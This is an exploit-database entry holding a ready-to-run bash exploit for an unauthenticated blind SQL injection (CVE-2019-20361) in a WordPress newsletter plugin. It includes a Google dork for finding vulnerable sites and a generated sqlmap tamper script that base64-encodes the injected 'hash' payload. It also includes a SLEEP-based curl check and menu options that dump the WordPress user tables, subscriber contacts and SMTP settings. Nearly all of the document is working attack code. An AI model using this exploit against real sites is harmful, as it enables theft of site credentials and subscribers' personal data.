WordPress Email Subscribers & Newsletters 4.2.2 Plugin - (hash) SQL Injection (Unauthenticated)

# Exploit Title: WordPress Plugin Email Subscribers & Newsletters 4.2.2 - 'hash' SQL Injection (Unauthenticated)
# Google Dork: "Stable tag" inurl:wp-content/plugins/email-subscribers/readme.txt
# Exploit Author: [email protected]_ESEC
# Vendor Homepage: https://www.icegram.com/email-subscribers/
# Software Link: https://pluginarchive.com/wordpress/email-subscribers/v/4-2-2
# Version: < 4.3.3
# Tested on: Email Subscribers & Newsletters 4.2.2
# CVE : CVE-2019-20361
# Reference : https://vuldb.com/?id.148399, https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-20361

main () {
	header
	if [ "$#" -ne 1 ]; then
			echo "Usage	: bash CVE-2019-20361.sh [BASE URL]"
			echo "Example	: bash CVE-2019-20361.sh http://127.0.0.1/"
			exit
	fi
	
	url=$1
	echo ' Target URL : ' "$url"
	echo ' Generating sqlmap tamper script in /tmp'
	gen_sqlmap_tamper
	sqlmap_cmd="sqlmap -u ${url}?es=open&hash=* --tamper /tmp/tamper_CVE-2019-1356989.py --technique T --dbms mysql --level 5 --risk 3"
	echo ' SQLMap base command : ' "$sqlmap_cmd"

	while true
	do
		 sleep 1
		 echo ''
		 echo " Possible choices: " 
		 echo ''
		 echo "  0) Exit"
		 echo "  1) Simple vulnerability test SLEEP(5)" 
		 echo "  2) Vulnerability test with SQLMap "
		 echo "  3) Get WP users data"
		 echo "  4) Get subscribers information" 
		 echo "  5) Get 'Simple WP SMTP' settings"
		 echo ''
		 echo -n ' Choice number => '
		 read n

		 case $n in 
		 0) exit ;;
		 1) echo 'Testing SLEEP(5)...'
				 { time (curl -i -s -k ${url}'?es=open&hash=eyJtZXNzYWdlX2lkIjoiMTAwIiwiY2FtcGFpZ25faWQiOiIxMDAiLCJjb250YWN0X2lkIjoiIDEwMCcsJzEwMCcsJzEwMCcsJzMnKSwoJzE1OTQ5OTkzOTgnLCcxNTk0OTk5Mzk4JywnMScsKFNFTEVDVCBTTEVFUCg1KSksJzEwMCcsJzEwMCcsJzMnKSwoJzE1OTQ5OTkzOTgnLCcxNTk0OTk5Mzk4JywnMScsJzEwMCAiLCJlbWFpbCI6ImtiYXpAc29nZXRpZXNlYy5jb20iLCJndWlkIjoia2JhemlzLWRhYmVzdC1rYmF6aXMtZGFiZXN0LWJhcHJvdSIsImFjdGlvbiI6Im9wZW4ifQo' > /dev/null) } |& grep -q '0m5,' && echo -e "\033[0;31m" ' [+] Vulnerable' "\033[0m" || echo ' [-] Not vulnerable' ;; 
		 2) $sqlmap_cmd ;;
		 3) $sqlmap_cmd -T wp_users,wp_usermeta --dump ;;
		 4) $sqlmap_cmd -T wp_ig_contacts --dump ;;
		 5) $sqlmap_cmd --sql-query 'select * from wp_options where option_name="swpsmtp_options"' ;;
		 *) echo "Invalid option" ;;
 		 esac 
	done

}

header () {

echo ''
echo ' ################################################################################################';
echo ' #             ___         ___         ___         ___      ___                                 #';
echo ' #            /\  \       /\  \       /\  \       /\  \    /\  \        ___                     #';
echo ' #           /::\  \     /::\  \     /::\  \     /::\  \   \:\  \      /\  \                    #';
echo ' #          /:/\ \  \   /:/\:\  \   /:/\:\  \   /:/\:\  \   \:\  \     \:\  \                   #';
echo ' #         _\:\~\ \  \ /:/  \:\  \ /:/  \:\  \ /::\~\:\  \  /::\  \    /::\__\                  #';
echo ' #        /\ \:\ \ \__/:/__/ \:\__/:/__/_\:\__/:/\:\ \:\__\/:/\:\__\__/:/\/__/                  #';
echo ' #        \:\ \:\ \/__\:\  \ /:/  \:\  /\ \/__\:\~\:\ \/__/:/  \/__/\/:/  /                     #';
echo ' #         \:\ \:\__\  \:\  /:/  / \:\ \:\__\  \:\ \:\__\/:/  /    \::/__/                      #';
echo ' #          \:\/:/  /   \:\/:/  /   \:\/:/  /   \:\ \/__/\/__/      \:\__\                      #';
echo ' #           \::/  /     \::/  /     \::/  /     \:\__\              \/__/                      #';
echo ' #            \/__/       \/__/       \/__/       \/__/                                         #';
echo ' #                                                 ___         ___         ___         ___      #';
echo ' #                                                /\  \       /\  \       /\  \       /\  \     #';
echo ' #                                               /::\  \     /::\  \     /::\  \     /::\  \    #';
echo ' #                EXPLOIT                       /:/\:\  \   /:/\ \  \   /:/\:\  \   /:/\:\  \   #';
echo ' # Email Subscribers & Newsletters < 4.3.1     /::\~\:\  \ _\:\~\ \  \ /::\~\:\  \ /:/  \:\  \  #';
echo ' #   Unauthenticated Blind SQL Injection      /:/\:\ \:\__/\ \:\ \ \__/:/\:\ \:\__/:/__/ \:\__\ #';
echo ' #                                            \:\~\:\ \/__\:\ \:\ \/__\:\~\:\ \/__\:\  \  \/__/ #';
echo ' #                                             \:\ \:\__\  \:\ \:\__\  \:\ \:\__\  \:\  \       #';
echo ' #                                              \:\ \/__/   \:\/:/  /   \:\ \/__/   \:\  \      #';
echo ' #                                               \:\__\      \::/  /     \:\__\      \:\__\     #';
echo ' #                                    KBAZ        \/__/       \/__/       \/__/       \/__/     #';
echo ' #                                                                                              #';
echo ' #                                                                                              #';
echo ' ################################################################################################';
echo ''
}

raw_commands () {

	echo '{"message_id":"100","campaign_id":"100","contact_id":"' "100','100','100','3'),('1594999398','1594999398','1',(SELECT SLEEP(5)),'100','100','3'),('1594999398','1594999398','1','100"  '","email":"[email protected]","guid":"kbazis-dabest-kbazis-dabest-baprou","action":"open"}' |  base64 -w 0

		{ time (curl -i -s -k 'http://127.0.0.1/?es=open&hash=eyJtZXNzYWdlX2lkIjoiMTAwIiwiY2FtcGFpZ25faWQiOiIxMDAiLCJjb250YWN0X2lkIjoiIDEwMCcsJzEwMCcsJzEwMCcsJzMnKSwoJzE1OTQ5OTkzOTgnLCcxNTk0OTk5Mzk4JywnMScsKFNFTEVDVCBTTEVFUCg1KSksJzEwMCcsJzEwMCcsJzMnKSwoJzE1OTQ5OTkzOTgnLCcxNTk0OTk5Mzk4JywnMScsJzEwMCAiLCJlbWFpbCI6ImtiYXpAc29nZXRpZXNlYy5jb20iLCJndWlkIjoia2JhemlzLWRhYmVzdC1rYmF6aXMtZGFiZXN0LWJhcHJvdSIsImFjdGlvbiI6Im9wZW4ifQo' > /dev/null) } |& grep -q '0m5,' && echo '[+] Vulnerable' || echo '[-] Not vulnerable'

		sqlmap -u 'http://127.0.0.1/?es=open&hash=*' --tamper /tmp/tamper_CVE-2019-1356989.py --technique T --dbms mysql --level 5 --risk 3

		-T wp_users,wp_usermeta --dump 
		-T wp_ig_contacts --dump
		--sql-query 'select * from wp_options where option_name="swpsmtp_options"'

}

gen_sqlmap_tamper () {

		touch /tmp/__init__.py

		cat << _END > /tmp/tamper_CVE-2019-1356989.py
#!/usr/bin/env python

import base64
import urllib

def tamper(payload, **kwargs):

#{"message_id":"100","campaign_id":"100","contact_id":"100","email":"[email protected]","guid":"kbazis-dabest-kbazis-dabest-baprou","action":"open"}
#INSERT INTO wp_ig_actions (created_at, updated_at, count, contact_id, message_id, campaign_id, type) VALUES ('1595001866','1595001866','1','100','100','100','3') ON DUPLICATE KEY UPDATE created_at = created_at, count = count+1, updated_at = '1595001866'

	param  = '{"contact_id":"'
	param += "100','100','100','3'),('1594999398','1594999398','1',(1%s),'100','100','3'),('1594999398','1594999398','1','100"
	param += '","campaign_id":"100","message_id":"100","email":"[email protected]","guid":"kbazis-dabest-kbazis-dabest-baprou","action":"open"}'

	#print(param%payload)
	return base64.encodestring( (param%payload).encode('utf-8') ).decode('utf-8').replace('\n', '')
_END
}

main [email protected]

#  0day.today [2020-07-27]  #